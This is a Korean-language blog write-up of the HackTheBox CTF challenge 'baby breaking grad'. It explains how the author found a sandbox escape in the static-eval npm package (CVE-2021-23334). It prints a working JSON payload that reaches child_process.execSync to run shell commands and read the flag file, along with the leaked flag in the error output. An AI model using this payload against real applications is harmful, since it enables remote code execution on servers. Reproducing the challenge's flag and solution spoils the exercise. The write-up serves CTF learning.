write-ups

HackTheBox baby breaking grad write-up

2021. 4. 15. 21:32

벚꽃 낭낭

 

 오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 

 

취약점 분석

1트

 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다.

 

 

 Javascript Prototype Pollution으로 푸는 문제인가 싶어서 includes에서 취약점이 있다고 가정하고 계속 삽질했다.  출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다.

 

 

2트

 /api/calculate를 보았다. 

 

 

 내 CTF 3년 경력으로 얻은 경험을 통해, 아래의 hasPassed() 함수에서 취약점을 찾고 공격해야 함을 느꼈다. hasPassed() 함수의 내용은 아래와 같다.

 

 

 isDumb() 함수에서는 Baker와 Purvis를 검사한다. 따라서 HTTP POST Method로 보내는 name 값으로 Baker나 Purvis가 포함되지 않은 임의의 문자열을 넣어 보내야 한다. 이러면 hasPassed() 함수를 실행시킬 수 있다. hasPassed() 함수에서는 esprima의 parse()함수와 static-eval() 함수로 formula를 계산한다. eval() 함수와 이름이 비슷해서 evalute() 함수는 뭔가 취약할 것 같은 이름이다. 찾아보니 수학 공식같은 코드를 실행해주는 패키지였다. 그리고 static-eval를 우회하려는 노력이 다수 존재했다. 

 

 

CVE-2021-23334

snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860

 

Snyk - Arbitrary Code Execution in org.webjars.npm:static-eval

Arbitrary Code Execution affecting org.webjars.npm:static-eval - SNYK-JAVA-ORGWEBJARSNPM-1071860.

snyk.io

 

 

{
  "name":"2",
  "formula": "(function (x) { return `${eval(\"console.log(global.process.mainModule.constructor._load('child_process').execSync(exam).toString())\")}` })()",
  "exam":"$(cat /app/flag*)"
}

 

Error: Command failed: $(cat /app/flag*)
/bin/sh: 1: HTB{f33l1ng_4_l1ttl3_blu3_0r_m4yb3_p1nk?...you_n33d_to_b3h4v'eval!!}: not found

    at checkExecSyncError (child_process.js:630:11)
    at Object.execSync (child_process.js:666:15)
    at eval (eval at <anonymous> (eval at walk (/app/node_modules/static-eval/index.js:153:20)), <anonymous>:1:74)
    at eval (eval at walk (/app/node_modules/static-eval/index.js:153:20), <anonymous>:2:16)
    at walk (/app/node_modules/static-eval/index.js:96:27)
    at module.exports (/app/node_modules/static-eval/index.js:175:7)
    at Object.hasPassed (/app/helpers/StudentHelper.js:11:22)
    at /app/routes/index.js:22:62
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:137:13)

 

플래그까지 획득했다.